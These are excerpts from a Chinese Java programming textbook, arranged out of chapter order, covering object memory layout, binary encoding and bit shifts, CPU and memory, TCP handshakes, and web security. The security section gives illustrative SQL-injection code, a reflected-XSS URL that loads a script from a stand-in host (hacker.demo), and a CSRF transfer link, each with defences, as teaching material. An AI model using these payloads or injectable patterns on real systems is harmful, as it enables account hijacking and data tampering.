类型,可以使用JDK10 的类型推断证明:var a=0; Long b=a; 代码编译出错,因为在自动装箱时,0 默认是int 类型,自动装箱为Integer,无法转化为Long 类型。表2-4 基本数据类型 所有数值类型都是有符号的,最大值与最小值如表2-4 所示。因为浮点数无法表示零值,所以表示范围分为两个区间:正数区间和负数区间。表2-4 中的float 和double 的最小值与最大值均指正数区间,它们对应的包装类并没有缓存任何数值。 引用分成两种数据类型:引用变量本身和引用指向的对象。为了强化这两个概念的区分,本书把引用变量(Reference Variable)称为refVar,而把引用指向的实际对象(Referred Object)简称为refObject。 refVar 是基本的数据类型,它的默认值是null,存储refObject 的首地址,可以直接使用双等号== 进行等值判断。而平时使用refVar.hashCode() 返回的值,只是对象的某种哈希计算,可能与地址有关,与refVar 本身存储的内存单元地址是两回事。作为一个引用变量,不管它是指向包装类、集合类、字符串类还是自定义类,refVar 均占用4B空间。注意它与真正对象refObject 之间的区别。无论refObject 是多么小的对象,最小占用的存储空间是12B(用于存储基本信息,称为对象头),但由于存储空间分配必须是8B 的倍数,所以初始分配的空间至少是16B。 一个refVar 至多存储一个refObject 的首地址,一个refObject 可以被多个refVar存储下它的首地址,即一个堆内对象可以被多个refVar 引用指向。如果refObject 没有被任何refVar 指向,那么它迟早会被垃圾回收。而refVar 的内存释放,与其他基本数据类型类似。 基本数据类型int 占用4 个字节,而对应的包装类Integer 实例对象占用16 个字节。这里可能会有人问:Integer 里边的代码就只占用16B ?这是因为字段属性除成员属性int value 外,其他的如MAX_VALUE、MIN_VALUE 等都是静态成员变量,在类加载时就分配了内存,与实例对象容量无关。此外,类定义中的方法代码不占用实例对象的任何空间。IntegerCache 是Integer 的静态内部类,容量占用也与实例对象无关。由于refObject 对象的基础大小是12B,再加上int 是4B,所以Integer 实例对象占用16B,按此推算Double 对象占用的存储容量是24B,示例代码如下:class RefObjDemo { // 对象头最小占用空间12 个字节(第1 处) // 下方4 个byte 类型分配后,对象占用大小是16 个字节 byte b1; byte b2; byte b3; byte b4; // 下方每个引用变量占用是4 个字节,共20 个字节 Object obj1; Object obj2; Object obj3; Object obj4; Object obj5; // RefObjOther 实例占用空间并不计算在本对象内,依然只计算引用变量大小4个字节 RefObjOther o1 = new RefObjOther(); RefObjOther o2 = new RefObjOther(); // 综上,RefObjDemo 对象占用:12B + (1B×4) + (4B×5) + (4B×2) = 44 个字节 // 取8 的倍数为48 个字节}class RefObjOther { // double 类型占用8 个字节,但此处是数组引用变量 // 所以对象头12B + 4B = 16B,并非是8012 个字节 // 这个数组引用的是double[] 类型,指向实际分配的数组空间首地址 // 在new 对象时,已经实际分配空间 double[] d = new double[1000];} 在上述示例代码中,第1 处提到的对象头最小占用空间为12 个字节,其内部存储的是什么信息呢?下面来分析其内部结构,如图2-10 所示,对象分为三块存储区域。图2-10 对象头的内部结构 (1)对象头(Object Header) 对象头占用12 个字节,存储内容包括对象标记(markOop)和类元信息(klassOop)。对象标记存储对象本身运行时的数据,如哈希码、GC 标记、锁信息、线程关联信息等,这部分数据在64 位JVM 上占用8 个字节,称为“Mark Word”。为了存储更多的状态信息,对象标记的存储格式是非固定的(具体与JVM 的实现有关)。类元信息存储的是对象指向它的类元数据(即Klass)的首地址,占用4 个字节,与refVar 开销一致。 (2)实例数据(Instance Data) 存储本类对象的实例成员变量和所有可见的父类成员变量。如Integer 的实例成员只有一个private int value,占用4 个字节,所以加上对象头为16 个字节;再如,上述示例代码的RefObjDemo 对象大小为48 个字节,一个子类RefObjSon 继承RefObjDemo,即使子类内部是空的,new RefObjSon 的对象也是占用48 个字节。 (3)对齐填充(Padding) 对象的存储空间分配单位是8 个字节,如果一个占用大小为16 个字节的对象,增加一个成员变量byte 类型,此时需要占用17 个字节,但是也会分配24 个字节进行对齐填充操作。
1.6 信息安全1.6.1 黑客与安全 黑客是音译词,译自Hacker。黑客的攻击手段十分多样,大体可分为非破坏性攻击和破坏性攻击。非破坏性攻击一般是为了扰乱系统的运行,使之暂时失去正常对外提供服务的能力,比如DDoS 攻击等。破坏性攻击主要会造成两种后果:系统数据受损或者信息被窃取,比如CSRF 攻击等。黑客使用的攻击手段有病毒式、洪水式、系统漏洞式等。黑客是计算机世界里永恒的存在,攻与守如同太极阴阳平衡的道家之道,不可能有一天黑客会彻底消失。 现代黑客攻击的特点是分布式、高流量、深度匿名。由于国外大量“肉鸡”计算机没有登记,所以国外的服务器遭遇DDoS 攻击时,无法有效地防御。现今云端提供商的优势在于能提供一套完整的安全解决方案。离开云端提供商,一个小企业要从头到尾地搭建一套安全防御体系,技术成本和资源成本将是难以承受的。所以互联网企业都要建立一套完整的信息安全体系,遵循CIA 原则,即保密性(Confidentiality)、完整性(Integrity)、可用性(Availability)。保密性。对需要保护的数据(比如用户的私人信息等)进行保密操作,无论是存储还是传输,都要保证用户数据及相关资源的安全。比如,在存储文件时会进行加密,在数据传输中也会通过各种编码方式对数据进行加密等。在实际编程中,通常使用加密等手段保证数据的安全。黑客不只是外部的,有可能从内部窃取数据,所以现在大多数企业的用户敏感信息都不是以明文存储的,避免数据管理员在某些利益的驱动下,直接拖库下载。数据泄露可能导致黑客进一步利用这些数据进行网站攻击,造成企业的巨大损失。完整性。访问的数据需要是完整的,而不是缺失的或者被篡改的,不然用户访问的数据就是不正确的。比如,在商场看中一个型号为NB 的手机,但售货员在包装的时候被其他人换成了更便宜的型号为LB 的手机,这就是我们所说的资源被替换了,也就是不满足完整性的地方。在实际编写代码中,一定要保证数据的完整性,通常的做法是对数据进行签名和校验(比如MD5和数字签名等)。可用性。服务需要是可用的。如果连服务都不可用,也就没有安全这一说了。比如还是去商场买东西,如果有人恶意破坏商场,故意雇用大量水军在商场的收银台排队,既不结账也不走,导致其他人无法付款,这就是服务已经不可用的表现。这个例子和常见的服务拒绝(DoS)攻击十分相似。对于这种情况,通常使用访问控制、限流、数据清洗等手段解决。 以上三点是安全中最基本的三个要素,后面谈到的Web 安全问题,都是围绕这三点来展开的。1.6.2 SQL 注入 SQL 注入是注入式攻击中的常见类型。SQL 注入式攻击是未将代码与数据进行严格的隔离,导致在读取用户数据的时候,错误地把数据作为代码的一部分执行,从而导致一些安全问题。SQL 注入自诞生以来以其巨大的杀伤力闻名。典型的SQL 注入的例子是当对SQL 语句进行字符串拼接操作时,直接使用未加转义的用户输入内容作为变量,比如:var testCondition;testCondition = Request.from("testCondition")var sql = "select * from TableA where id = '" + testCondition +"'"; 在上面的例子中,如果用户输入的id 只是一个数字是没有问题的,可以执行正常的查询语句。但如果直接用“;”隔开,在testCondition 里插入其他SQL 语句,则会带来意想不到的结果,比如输入drop、delete 等。 曾经在某业务中,用户在修改签名时,非常偶然地输入 "# -- !#(@ 这样的内容用来表达心情,单击保存后触发数据库更新。由于该业务未对危险字符串 “# --” 进行转义,导致where 后边的信息被注释掉,执行语句变成:update table set memo="\"# -- !#(@ " where use_id=12345; 该SQL 语句的执行导致全库的memo 字段都被更新。所以,SQL 注入的危害不必赘述,注入的原理也非常简单。应该如何预防呢?这里主要从下面几个方面考虑: (1)过滤用户输入参数中的特殊字符,从而降低被SQL 注入的风险。 (2)禁止通过字符串拼接的SQL 语句,严格使用参数绑定传入的 SQL 参数。 (3)合理使用数据库访问框架提供的防注入机制。比如MyBatis 提供的 #{} 绑定参数,从而防止 SQL 注入。同时谨慎使用 ${}, ${} 相当于使用字符串拼接SQL。拒绝拼接的SQL 语句,使用参数化的语句。 总之,一定要建立对注入式攻击的风险意识,正确使用参数化绑定SQL 变量,这样才能有效地避免SQL 注入。实际上,其他的注入方式也是类似的思路,身为一个开发工程师,我们一定要时刻保持对注入攻击的高度警惕。1.6.3 XSS 与CSRF XSS 与CSRF 两个名词虽然都比较熟悉,但也容易混淆。跨站脚本攻击,即Cross-Site Scripting,为了不和前端开发中层叠样式表(CSS)的名字冲突,简称为XSS。XSS 是指黑客通过技术手段,向正常用户请求的HTML 页面中插入恶意脚本,从而可以执行任意脚本。XSS 主要分为反射型XSS、存储型XSS 和 DOM 型XSS。XSS 主要用于信息窃取、破坏等目的。比如发生在2011 年左右的微博XSS 蠕虫攻击事件,攻击者就利用了微博发布功能中未对action-data 漏洞做有效的过滤,在发布微博信息的时候带上了包含攻击脚本的URL。用户访问该微博时便加载了恶意脚本,该脚本会让用户以自己的账号自动转发同一条微博,通过这种方式疯狂扩散,导致微博大量用户被攻击。 从技术原理上,后端Java 开发人员、前端开发人员都有可能造成XSS 漏洞,比如下面的模板文件就可能导致反射型XSS:<div><h3> 反射型XSS 示例</h3><br> 用户:<%= request.getParameter("userName") %><br> 系统错误信息:<%= request.getParameter("errorMessage") %></div> 上面的代码从HTTP 请求中取了userName 和 errorMessage 两个参数,并直接输出到HTML 中用于展示,当黑客构造如下的URL 时就出现了反射型XSS,用户浏览器就可以执行黑客的JavaScript 脚本。http://xss.demo/self-xss.jsp?userName= 张三<script>alert(" 张三")</script>&errorMessage=XSS 示例<script src=http://hacker.demo/xss-script.js/> 在防范XSS 上,主要通过对用户输入数据做过滤或者转义。比如Java 开发人员可以使用 Jsoup 框架对用户输入字符串做XSS 过滤,或者使用框架提供的工具类对用户输入的字符串做HTML 转义,例如 Spring 框架提供的 HtmlUtils。前端在浏览器展示数据时,也需要使用安全的API 展示数据,比如使用innerText 而不是innerHTML。所以需要前、后端开发人员一同配合才能有效防范XSS 漏洞。 除了开发人员造成的漏洞,近年来出现了一种Self-XSS 的攻击方式。Self-XSS是利用部分非开发人员不懂技术,黑客通过红包、奖品或者优惠券等形式,诱导用户复制攻击者提供的恶意代码,并粘贴到浏览器的Console 中运行,从而导致XSS。由于Self-XSS 属于社会工程学攻击,技术上目前尚无有效防范机制,因此只能通过在Console 中展示提醒文案来阻止用户执行未知代码。1.6.4 CSRF 跨站请求伪造(Cross-Site Request Forgery),简称CSRF,也被称为 One-click Attack,即在用户并不知情的情况下,冒充用户发起请求,在当前已经登录的Web 应用程序上执行恶意操作,如恶意发帖、修改密码、发邮件等。 CSRF 有别于XSS,从攻击效果上,两者有重合的地方。从技术原理上两者有本质的不同,XSS 是在正常用户请求的HTML 页面中执行了黑客提供的恶意代码;CSRF 是黑客直接盗用用户浏览器中的登录信息,冒充用户去执行黑客指定的操作。XSS 问题出在用户数据没有过滤、转义;CSRF 问题出在HTTP 接口没有防范不受信任的调用。很多工程师会混淆这两个概念,甚至认为这两个攻击是一样的。 比如某用户A 登录了网上银行,这时黑客发给他一个链接,URL 如下:https://net-bank.demo/transfer.do?targetAccount=12345&amount=100 如果用户A 在打开了网银的浏览器中点开了黑客发送的URL,那么就有可能在用户A 不知情的情况下从他的账户转100 元人民币到其他账户。当然网上银行不会有这么明显的漏洞。 防范CSRF 漏洞主要通过以下方式: (1)CSRF Token 验证,利用浏览器的同源限制,在HTTP 接口执行前验证页面或者Cookie 中设置的Token,只有验证通过才继续执行请求。 (2)人机交互,比如在调用上述网上银行转账接口时校验短信验证码。
1.5.3 TCP 建立连接 传输控制协议(Transmission Control Protocol,TCP),是一种面向连接、确保数据在端到端间可靠传输的协议。面向连接是指在发送数据前,需要先建立一条虚拟的链路,然后让数据在这条链路上“流动”完成传输。为了确保数据的可靠传输,不仅需要对发出的每一个字节进行编号确认,校验每一个数据包的有效性,在出现超时情况时进行重传,还需要通过实现滑动窗口和拥塞控制等机制,避免网络状况恶化而最终影响数据传输的极端情形。每个TCP 数据包是封装在IP 包中的,每一个IP 头的后面紧接着的是TCP 头,TCP 报文格式如图1-17 所示。图1-17 TCP 报文格式 协议第一行的两个端口号各占两个字节,分别表示了源机器和目标机器的端口号。这两个端口号与IP 报头中的源IP 地址和目标IP 地址所组成的四元组可唯一标识一条TCP 连接。由于TCP 是面向连接的,因此有服务端和客户端之分。需要服务端先在相应的端口上进行监听,准备好接收客户端发起的建立连接请求。当客户端发起第一个请求建立连接的TCP 包时,目标机器端口就是服务端所监听的端口号。比如广为人知的端口号——HTTP 服务的80 端口、HTTPS 服务的443 端口、SSH 服务的22 端口等。可通过netstat 命令列出机器上已建立的连接信息,其中包含唯一标识一条连接的四元组,以及各连接的状态等内容,如图1-18 所示,图中的红框代表端口号。图1-18 IP 地址与端口信息 协议第二行和第三行是序列号,各占4 个字节。前者是指所发送数据包中数据部分第一个字节的序号,后者是指期望收到来自对方的下一个数据包中数据部分第一个字节的序号。 由于TCP 报头中存在一些扩展字段,所以需要通过长度为4 个bit 的头部长度字段表示TCP 报头的大小,这样接收方才能准确地计算出包中数据部分的开始位置。TCP 的FLAG 位由6 个bit 组成, 分别代表SYN、ACK、FIN、URG、PSH、RST,都以置1 表示有效。我们重点关注SYN、ACK 和FIN。SYN(Synchronize Sequence Numbers)用作建立连接时的同步信号;ACK(Acknowledgement)用于对收到的数据进行确认,所确认的数据由确认序列号表示;FIN(Finish)表示后面没有数据需要发送,通常意味着所建立的连接需要关闭了。 TCP 报头中的其他字段可以阅读RFC793 来掌握,本书在此不加赘述。接下来重点分析TCP 中连接建立的原理。图1-19 展示了正常情形下通过三次握手建立连接的过程。A 与B 的机器标识并不是绝对意义上的服务器与客户端。发起请求的也可能是服务器,向另一台其他后端服务器发送TCP 连接请求。前者需要在后者发起连接建立请求时先打开某个端口等待数据传输,否则将无法正常建立连接。三次握手指的是建立连接的三个步骤:A 机器发出一个数据包并将SYN 置 1,表示希望建立连接。这个包中的序列号假设是x 。B 机器收到 A 机器发过来的数据包后,通过 SYN 得知这是一个建立连接的请求,于是发送一个响应包并将SYN 和ACK 标记都置1。假设这个包中的序列号是y ,而确认序列号必须是x +1,表示收到了A 发过来的SYN。在TCP 中,SYN 被当作数据部分的一个字节。A 收到 B 的响应包后需进行确认,确认包中将 ACK 置 1,并将确认序列号设置为y +1,表示收到了来自B 的SYN。图1-19 TCP 三次握手创建连接 这里为什么需要第3 次握手?它有两个主要目的:信息对等和防止超时。先从信息对等角度来看,如表1-8 所示,双方只有确定4 类信息,才能建立连接。在第2 次握手后,从B 机器视角看还有两个红色的NO 信息无法确认。在第3 次握手后,B 机器才能确认自己的发报能力和对方的收报能力是正常的。表1-8 TCP 三次握手待确认信息 连接三次握手也是防止出现请求超时导致脏连接。TTL 网络报文的生存时间往往都会超过TCP 请求超时时间,如果两次握手就可以创建连接,传输数据并释放连接后,第一个超时的连接请求才到达B 机器的话,B 机器会以为是A 创建新连接的请求,然后确认同意创建连接。因为A 机器的状态不是SYN_SENT,所以直接丢弃了B 的确认数据,以致最后只是B 机器单方面创建连接完毕,简要示意图如图1-20所示。图1-20 两次握手导致的TCP 脏连接 如果是三次握手,则B 机器收到连接请求后,同样会向A机器确认同意创建连接,但因为A 机器不是SYN_SENT 状态,所以会直接丢弃,B 机器由于长时间没有收到确认信息,最终超时导致连接创建失败,因而不会出现脏连接。根据抓包分析,呈现出三次握手请求过程,SYN+ACK 的应答,告诉A 机器期望下一个数据包的第一个字节序号为1,如图1-21 所示。图1-21 TCP 三次握手抓包分析 从编程的角度,TCP 连接的建立是通过文件描述符(File Descriptor,fd)完成的。通过创建套接字获得一个fd,然后服务端和客户端需要基于所获得的fd 调用不同的函数分别进入监听状态和发起连接请求。由于fd 的数量将决定服务端进程所能建立连接的数量,对于大规模分布式服务来说,当fd 不足时就会出现“open too many files”错误而使得无法建立更多的连接。为此,需要注意调整服务端进程和操作系统所支持的最大文件句柄数。通过使用ulimit -n 命令来查看单个进程可以打开文件句柄的数量。如果想查看当前系统各个进程产生了多少句柄,可以使用如下的命令:lsof -n | awk '{print $2}'| sort|uniq -c |sort -nr|more 执行结果如图1-22 所示,左侧列是句柄数,右侧列是进程号。lsof 命令用于查看当前系统所打开fd 的数量。在Linux 系统中,很多资源都是以fd 的形式进行读写的,除了提到的文件和TCP 连接,UDP 数据报、输入输出设备等都被抽象成了fd。图1-22 文件句柄与进程ID 的对应关系 想知道具体的PID 对应的具体应用程序是谁,使用如下命令即可:ps -ax|grep 32764 Java 进程示例如图1-23 所示。图1-23 根据进程ID 查询具体进程 TCP 在协议层面支持Keep Alive 功能,即隔段时间通过向对方发送数据表示连接处于健康状态。不少服务将确保连接健康的行为放到了应用层,通过定期发送心跳包检查连接的健康度。一旦心跳包出现异常不仅会主动关闭连接,还会回收与连接相关的其他用于提供服务的资源,确保系统资源最大限度地被有效利用。
1.4 CPU 与内存 CPU(Central Processing Unit)是一块超大规模的集成电路板,是计算机的核心部件,承载着计算机的主要运算和控制功能,是计算机指令的最终解释模块和执行模块。硬件包括基板、核心、针脚,基板用来固定核心和针脚,针脚通过基板上的基座连接电路信号,CPU 核心的工艺极度精密,达到10 纳米级别。 和其他硬件设备相比,在实际代码的运行环境中,CPU 与内存是密切相关的两个硬件设备,本节对CPU 和内存简单介绍一下。开发工程师在实际编程中,对这两个部件有一定的掌控性,熟悉CPU 和内存的脾气,让它们以自己期望的方式执行相关指令。在CPU 的世界里,没有缤纷多彩的图像、悦耳动听的音乐,只有日复一日地对0 与1 电流信号的处理。但CPU 内部的处理机制是十分精密而复杂的,总的来说,就是由控制器和运算器组成的,内部寄存器使这两者协同更加高效。CPU 的内部结构如图1-8 所示。图1-8 CPU 的内部结构1. 控制器 控制器由图1-8 中所示的控制单元、指令译码器、指令寄存器组成。其中控制单元是CPU 的大脑,由时序控制和指令控制等组成;指令译码器是在控制单元的协调下完成指令读取、分析并交由运算器执行等操作;指令寄存器是存储指令集,当前流行的指令集包括X86、SSE、MMX 等。控制器有点像一个编程语言的编译器,输入0 与1 的源码流,通过译码和控制单元对存储设备的数据进行读取,运算完成后,保存回寄存器,甚至是内存。2. 运算器 运算器的核心是算术逻辑运算单元,即ALU,能够执行算术运算或逻辑运算等各种命令,运算单元会从寄存器中提取或存储数据。相对控制单元来说,运算器是受控的执行部件。任何编程语言诸如a+b 的算术运算,无论字节码指令,还是汇编指令,最后一定会以0 与1 的组合流方式在部件内完成最终计算,并保存到寄存器,最后送出CPU。平时理解的栈与堆,在CPU 眼里都是内存。3. 寄存器 最著名的寄存器是CPU 的高速缓存L1、L2,缓存容量是在组装计算机时必问的两个CPU 性能问题之一。缓存结构和大小对CPU 的运行速度影响非常大,毕竟CPU的运行速度远大于内存的读写速度,更远大于硬盘。基于执行指令和热点数据的时间局部性和空间局部性,CPU 缓存部分指令和数据,以提升性能。但由于CPU 内部空间狭小且结构复杂,高速缓存远小于内存空间。 CPU 是一个高内聚的模块化组件,它对外部其他硬件设备的时序协调、指令控制、存取动作,都需要通过操作系统进行统一管理和协调。所谓的CPU 时间片切分,并非CPU 内部能够控制与管理。CPU 部件是一个任劳任怨的好公民代表,只要有指令就会马不停蹄地执行,高级语言提供的多线程技术和并发更多地依赖于操作系统的调配,并行更多依赖于CPU 多核技术。多核CPU 即在同一块基板上封装了多个Core。还有一种提升CPU 性能的方式是超线程,即在一个Core 上执行多个线程,如图1-9所示为2 个Core,但是有4个逻辑CPU,并有对应独立的性能监控数据。图1-9 多核CPU CPU 与内存的执行速度存在巨大的鸿沟,如图1-8 所示的L2 和L3 分别是256KB 和4MB,它们是CPU 和内存之间的缓冲区,但并非所有的处理器都有L3 缓存。曾几何时,内存就是系统资源的代名词,它是其他硬件设备与CPU 沟通的桥梁,计算机中的所有程序都在内存中运行,它的容量与性能如果存在瓶颈,即使CPU 再快,也是枉然。内存物理结构由内存芯片、电路板、控制芯片、相关支持模块等组成,内存芯片结构比较简单,核心是存储单元,支持模块是地址译码器和读写控制器,如图1-10 所示。图1-10 计算机存储方式 从图1-10 中可以看出,越往CPU 核心靠近,存储越贵,速度越快。越往下,存储越便宜、速度越慢,当然容量也会更大。云端存储使得应用程序无须关心是分布式还是集中式,数据如何备份和容灾。在本地磁盘与CPU 内部的缓存之间,内存是一个非常关键的角色,但它很敏感,内存颗粒如果有问题无法存储,或控制模块出现地址解析问题,或内存空间被占满,都会导致无法正常地执行其他应用程序,甚至是操作系统程序。程序员们最害怕的OOM 通常来源于由于不恰当的编码方式而导致内存的资源耗尽,虽然现代内存的容量已经今非昔比,但仍然是可以在秒级内耗尽所有内存资源的。 图1-10 中的存储单元都有一个十六进制的编号,在32 位机器上是0x 开始的8位数字编号,就是内存存储单元的地址,相当于门牌号。以C 和C++ 为代表的编程语言可以直接操作内存地址,进行分配和释放。举个例子,要写一份数据到存储单元中,就像快递一个包裹,需要到付并且当面签收,到了对应的住址,发现收件人不在,就抛出异常。如图1-11 所示的经典错误,估计很多人都遇到过,选择要调试程序,单击【取消】按钮,并无反应,也不会出现调试界面。内存的抽象就是线性空间内的字节数组,通过下标访问某个特定位置的数据,比如C 语言使用malloc() 进行内存的分配,然后使用指针进行内存的读与写。图1-11 内存出错警告 而以Java 为代表的编程语言,内存就交给JVM 进行自动分配与释放,这个过程称为垃圾回收机制。这就好像刚才的快递员并不直接访问内存单元,只是把包裹放在叫JVM 的老大爷家里。付出的代价是到货速度慢了,影响客户体验。毕竟老大爷并不是实时立马转交的,而是要攒到一定的包裹量再挨家挨户地给收件人送过去。虽然垃圾回收机制能为程序员减负,但如果不加节制的话,同样会耗尽内存资源。
第1章 计算机基础 大道至简,盘古生其中。计算机的绚丽世界一切都是由0 与1 组成的。 追根究底的习惯是深度分析和解决问题、提升程序员素质的关键所在,有助于编写高质量的代码。基础知识的深度认知决定着知识上层建筑的延展性。试问,对于如下的基础知识,你的认知是否足够清晰呢?位移运算可以快速地实现乘除运算,那位移时要注意什么?浮点数的存储与计算为什么总会产生微小的误差?乱码产生的根源是什么?代码执行时,CPU是如何与内存配合完成程序使命的?网络连接资源耗尽的问题本质是什么?黑客攻击的通常套路是什么?如何有效地防止? 本章从编程的角度深度探讨计算机组成原理、计算机网络、信息安全等相关内容,与具体编程语言无关。本章并不会讨论内部硬件的工作原理、网络世界的协议和底层传输方式、安全领域的攻防类型等内容。1.1 走进0 与1 的世界 简单地说,计算机就是晶体管、电路板组装起来的电子设备,无论是图形图像的渲染、网络远程共享,还是大数据计算,归根结底都是0 与1 的信号处理。信息存储和逻辑计算的元数据,只能是0 与1,但是它们在不同介质里的物理表现方式却是不一样的,如二极管的断电与通电、CPU 的低电平与高电平、磁盘的电荷左右方向。明确了0 与1 的物理表现方式后,设定基数为2,进位规则是“逢二进一”,借位规则是“借一当二”,所以称为二进制。那么如何表示日常生活中的十进制数值呢?二进制数位从右往左,每一位都是乘以2,如下示例为二进制数与十进制数的对应关系,阴影部分的数字为二进制数: 1=1,10=2,100=4,1000=8,11000=24,即20=1;21=2;22=4;23=8;24+23=24 设想有8 条电路,每条电路有低电平和高电平两种状态。根据数学排列组合,有8 个2 相乘,即28,能够表示256 种不同的信号。假设表示区间为0 ~ 255,最大数即为28-1,那么32 条电路能够表示的最大数为(232-1)=4,294,967,295。平时所说的32 位机器,就能够同时处理字长为32 位的电路信号。 如何表示负数呢?上面的8 条电路,最左侧的一条表示正负,0 表示正数,1 表示负数,不参与数值表示,其余的7 条电路表示实际数值。在二进制世界中,表示数的基本编码方式有原码、反码和补码三种。 原码:符号位和数字实际值的结合。正数数值部分是数值本身,符号位为0;负数数值部分是数值本身,符号位为1。8 位二进制数的表示范围是[-127,127]。 反码:正数数值部分是数值本身,符号位为0;负数的数值部分是在正数表示的基础上对各个位取反,符号位为1。8 位二进制数的表示范围是[-127,127]。 补码:正数数值部分是数值本身,符号位为0;负数的数值部分是在正数表示的基础上对各个位取反后加1,符号位为1。8 位二进制数的表示范围是[-128,127]。 三种编码方式对比如表1-1 所示。表1-1 三种编码方式对比 既然原码的编码方式是最符合人类认知的,那为什么还会有反码和补码的表达方式呢?因为计算机的运作方式与人类的思维模式是不同的。为了加速计算机对加减乘除的运算速度,减少额外的识别成本,反码和补码应运而生。以减法计算为例,减去一个数等于加上这个数的负数,例如1-2=1+(-2)=-1。在计算机中延续这种计算思维,不需要额外做符号位的识别,使用原码计算的结果为1-2=1+(-2)=[00000001] 原+[1000 0010] 原=[1000 0011] 原= -3,这个结果显然是不正确的。为了解决这一问题,出现了反码的编码方式。使用反码计算,结果为1-2=1+(-2)= [0000 0001] 反+ [1111 1101] 反=[1111 1110] 反= -1,结果正确。但是在某些特殊情况下,使用反码存在认知方面的问题,例如2-2=2+(-2)=[0000 0010]反+[1111 1101]反=[1111 1111]反=-0,结果出现了-0,但实际上0 不存在+ 0 和-0 两种表达方式,它们对应的都是0。随着数字的编码表示的发展,补码诞生了,它解决了反码中+ 0 和-0 的问题。例如2-2=2+(-2)=[0000 0010] 补+ [1111 1110] 补=[0000 0000] 补= 0。补码的出现除解决运算的问题外,还带来一个额外的好处,即在占用相同位数的条件下,补码的表达区间比前两种编码的表达区间更大。例如,8 位二进制编码中,补码表示的范围增大到-128,其对应的补码为[1000 0000] 补。8 条电路的最大值为01111111 即127,表示范围因有正负之分而改变为-128 ~ 127,二进制整数最终都是以补码形式出现的。正数的补码与原码、反码是一样的,而负数的补码是反码加1 的结果。这样使减法运算可以使用加法器实现,符号位也参与运算。比如35 + (-35) 如图1-1(a)所示,35-37 如图1-1(b)所示。图1-1 负数运算 加减法是高频运算,使用同一个运算器,可以减少中间变量存储的开销,这样也降低了CPU 内部的设计复杂度,使内部结构更加精简,计算更加高效,无论对于指令、寄存器,还是运算器都会减轻很大的负担。 如图1-1(c)所示,计算结果需要9 条电路来表示,用8 条电路来表达这个计算结果即溢出,即在数值运算过程中,超出规定的表示范围。一旦溢出,计算结果就是错误的。在各种编程语言中,均规定了不同数字类型的表示范围,有相应的最大值和最小值。 以上示例中的一条电路线在计算机中被称为1 位,即1 个bit,简写为B,中文翻译为字节。8 个bit 组成一个单位,称为一个字节,即1 个Byte,简写为B。1024个Byte,简写为KB;1024 个KB,简写为MB;1024 个MB,简写为GB,这些都是计算机中常用的存储计量单位。 除二进制的加减法外,还有一种大家既陌生又熟悉的操作:位移运算。陌生是指不易理解且不常用,熟悉是指“别人家的开发工程师”在代码中经常使用这种方式进行高低位的截取、哈希计算,甚至运用在乘除法运算中。向右移动1 位近似表示除以2(如表1-2 所示),十进制的奇数转化为二进制数后,在向右移时,最右边的1 将被直接抹去,说明向右移对于奇数并非完全相当于除以2。在左移<< 与右移>> 两种运算中,符号位均参与移动,除负数往右移动,高位补1 之外,其他情况均在空位处补0,红色是原有数据的符号位,绿色仅是标记,便于识别移动方向。表1-2 带符号位移运算 左移运算由于符号位参与向左移动,在移动后的结果中,最左位可能是1 或者0,即正数向左移动的结果可能是正,也可能是负;负数向左移动的结果同样可能是正,也可能是负。所有结果均假想为单字节机器,而在实际程序运用中并非如此。 对于三个大于号的>>> 无符号向右移动(注意不存在<<< 无符号向左移动的运算方式),当向右移动时,正负数高位均补0,正数不断向右移动的最小值是0,而负数不断向右移动的最小值是1。无符号意即藐视符号位,符号位失去特权,必须像其他平常的数字位一起向右移动,高位直接补0,根本不关心是正数还是负数。此运算常用在高位转低位的场景中,如表1-3 所示分别表示向右移动1~3 位的结果,左侧空位均补0。表1-3 无符号位移运算 为何负数不断地无符号向右移动的最小值是1 呢?在实际编程中,位移运算仅作用于整型(32 位)和长整型(64 位)数上,假如在整型数上移动的位数是字长的整数倍,无论是否带符号位以及移动方向,均为本身。因为移动的位数是一个mod 32 的结果,即35>>1 与35>>33 是一样的结果。如果是长整型,mod 64,即35<<1 与35<<65 的结果是一样的。负数在无符号往右移动63 位时,除最右边为1 外,左边均为0,达到最小值1,如果>>>64,则为其原数值本身。 位运算的其他操作比较好理解,包括按位取反(符号为~)、按位与(符号为&)、按位或(符号为|)、按位异或(符号为^)等运算。其中,按位与(&)运算典型的场景是获取网段值,IP 地址与掩码255.255.255.0 进行按位与运算得到高24 位,即为当前IP 的网段。按位运算的左右两边都是整型数,true&false 这样的方式也是合法的,因为boolean 底层表示也是0 与1。 按位与和逻辑与(符号为&&)运算都可以作用于条件表达式,但是后者有短路功能,表达如下所示:boolean a = true;boolean b = true;boolean c = (a=(1==2)) && (b=(1==2)); 因为&& 前边的条件表达式,即如上的红色代码部分的结果为false,触发短路,直接退出,最后a 的值为false,b 的值为true。假如把 && 修改为按位与&,则执行的结果为a 与b 都是false。 同样的逻辑,按位或对应的逻辑或运算(符号为||)也具有短路功能,当逻辑或|| 之前的条件表达式,即如下的红色代码部分的结果为true 时,直接退出:boolean e = false;boolean f = false;boolean g = (e=(1==1)) || (f=(1==1)); 最后e 的值为true,f 的值为false。假如把|| 修改为按位或符号|,执行的结果为e 与f 都是true。 逻辑或、逻辑与运算只能对布尔类型的条件表达式进行运算,7&&8 这种运算表达式是错误的。 异或运算没有短路功能,符号在键盘的数字6 上方,在哈希算法中用于离散哈希值,对应的位上不一样才是1,一样的都是0。比如,1^1=0 / 0^0=0 / 1^0=1 / true^true=false / true^false=true。 基于0 与1 的信号处理为我们带来了缤纷多彩的计算机世界,随着基础材料和信号处理技术的发展,未来计算机能够处理的基础信号将不仅仅是二进制信息。比如,三进制(高电平、低电平、断电),甚至十进制信息,届时计算机世界又会迎来一次全新的变革。1.2 浮点数 计算机定义了两种小数,分别为定点数和浮点数。其中,定点数的小数点位置是固定的,在确定字长的系统中一旦指定小数点的位置后,它的整数部分和小数部分也随之确定。二者之间独立表示,互不干扰。由于小数点位置是固定的,所以定点数能够表示的范围非常有限。考虑到定点数相对简单,本节不再展开。下面重点介绍应用更广、更加复杂的浮点数。它是采用科学计数法来表示的,由符号位、有效数字、指数三部分组成。使用浮点数存储和计算的场景无处不在,若使用不当则容易造成计算值与理论值不一致,如下示例代码:float a = 1f;float b = 0.9f;// 结果为:0.100000024float f = a - b; 执行结果显示计算结果与预期存在明显的误差,本节将通过深入剖析造成这个误差的原因来介绍浮点数的构成与计算原理。由于浮点数是以科学计数法来表示的,所以我们先从科学计数法讲起。1.2.1 科学计数法 浮点数在计算机中用以近似表示任意某个实数。在数学中,采用科学计数法来近似表示一个极大或极小且位数较多的数。如a × 10n,其中a 满足1 ≤ |a | < 10,10n 是以10 为底数,n 为指数的幂运算表达式。a 